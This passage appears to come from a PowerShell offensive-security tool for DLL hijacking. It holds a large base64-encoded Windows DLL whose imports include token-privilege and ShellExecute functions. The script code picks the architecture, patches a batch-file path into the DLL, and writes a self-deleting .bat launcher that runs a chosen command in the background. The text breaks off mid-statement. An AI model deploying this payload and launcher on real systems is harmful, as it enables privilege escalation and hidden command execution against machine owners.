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b2Nlc3MAAOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgACA0lzRGVidWdnZXJQcmVzZW50ACYEUnRsVmlydHVhbFVud2luZAAAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAYBFJ0bENhcHR1cmVDb250ZXh0ACUEUnRsVW53aW5kRXgA7gBFbmNvZGVQb2ludGVyAFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAIAEU2V0TGFzdEVycm9yAAAIAkdldExhc3RFcnJvcgAAWAFGbHNBbGxvYwAA1wJIZWFwRnJlZQAATAJHZXRQcm9jQWRkcmVzcwAAHgJHZXRNb2R1bGVIYW5kbGVXAAAfAUV4aXRQcm9jZXNzAMsARGVjb2RlUG9pbnRlcgB8BFNldEhhbmRsZUNvdW50AABrAkdldFN0ZEhhbmRsZQAA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APoBR2V0RmlsZVR5cGUAagJHZXRTdGFydHVwSW5mb1cA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AGQJHZXRNb2R1bGVGaWxlTmFtZUEAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lANMCSGVhcEFsbG9jALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAeAFHZXRDUEluZm8AbgFHZXRBQ1AAAD4CR2V0T0VNQ1AAAAwDSXNWYWxpZENvZGVQYWdlANoCSGVhcFJlQWxsb2MAQQNMb2FkTGlicmFyeVcAADQFV3JpdGVGaWxlABoCR2V0TW9kdWxlRmlsZU5hbWVXAADcAkhlYXBTaXplAAAvA0xDTWFwU3RyaW5nVwAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAHACR2V0U3RyaW5nVHlwZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyot8tmSsAAM1dINJm1P//6HMAgAEAAAAAAAAAAAAAAC4/QVZiYWRfYWxsb2NAc3RkQEAAAAAAAOhzAIABAAAAAAAAAAAAAAAuP0FWZXhjZXB0aW9uQHN0ZEBAAP///////////////4AKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6HMAgAEAAAAAAAAAAAAAAC4/QVZ0eXBlX2luZm9AQAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAAAADYdwCAAQAAANR3AIABAAAA0HcAgAEAAADMdwCAAQAAAMh3AIABAAAAxHcAgAEAAADAdwCAAQAAALh3AIABAAAAsHcAgAEAAACodwCAAQAAAJh3AIABAAAAiHcAgAEAAAB8dwCAAQAAAHB3AIABAAAAbHcAgAEAAABodwCAAQAAAGR3AIABAAAAYHcAgAEAAABcdwCAAQAAAFh3AIABAAAAVHcAgAEAAABQdwCAAQAAAEx3AIABAAAASHcAgAEAAABEdwCAAQAAAEB3AIABAAAAOHcAgAEAAAAodwCAAQAAABx3AIABAAAAFHcAgAEAAABcdwCAAQAAAAx3AIABAAAABHcAgAEAAAD8dgCAAQAAAPB2AIABAAAA6HYAgAEAAADYdgCAAQAAAMh2AIABAAAAwHYAgAEAAAC8dgCAAQAAALB2AIABAAAAmHYAgAEAAACIdgCAAQAAAAkEAAABAAAAAAAAAAAAAACAdgCAAQAAAHh2AIABAAAAcHYAgAEAAABodgCAAQAAAGB2AIABAAAAWHYAgAEAAABQdgCAAQAAAEB2AIABAAAAMHYAgAEAAAAgdgCAAQAAAAh2AIABAAAA8HUAgAEAAADgdQCAAQAAAMh1AIABAAAAwHUAgAEAAAC4dQCAAQAAALB1AIABAAAAqHUAgAEAAACgdQCAAQAAAJh1AIABAAAAkHUAgAEAAACIdQCAAQAAAIB1AIABAAAAeHUAgAEAAABwdQCAAQAAAGh1AIABAAAAWHUAgAEAAABAdQCAAQAAADB1AIABAAAAIHUAgAEAAACgdQCAAQAAABB1AIABAAAAAHUAgAEAAADwdACAAQAAANh0AIABAAAAyHQAgAEAAACwdACAAQAAAJh0AIABAAAAjHQAgAEAAACEdACAAQAAAHB0AIABAAAASHQAgAEAAAAwdACAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAILMAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgswCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCzAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAILMAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgswCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYL4AgAEAAAAAAAAAAAAAAAAAAAAAAAAA4IMAgAEAAABwiACAAQAAAPCJAIABAAAAMLMAgAEAAADwtQCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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rliuYK5ornCueK6AroiukK6YrqCuqK64rsCuyK7Qrtiu4K7orvCuAK8IryCvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + + if ($PSBoundParameters['Architecture']) { + $TargetArchitecture = $Architecture + } + elseif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') { + $TargetArchitecture = 'x64' + } + else { + $TargetArchitecture = 'x86' + } + + if ($TargetArchitecture -eq 'x64') { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) + } + else { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) + } + + if ($PSBoundParameters['BatPath']) { + $TargetBatPath = $BatPath + } + else { + $BasePath = $DllPath | Split-Path -Parent + $TargetBatPath = "$BasePath\debug.bat" + } + + # patch in the appropriate .bat launcher path + $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -SearchString 'debug.bat' -ReplaceString $TargetBatPath + + # build the launcher .bat + if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath } + + "@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath + "start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath + 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath + + Write-Verbose ".bat launcher written to: $TargetBatPath" + Set-Content -Value 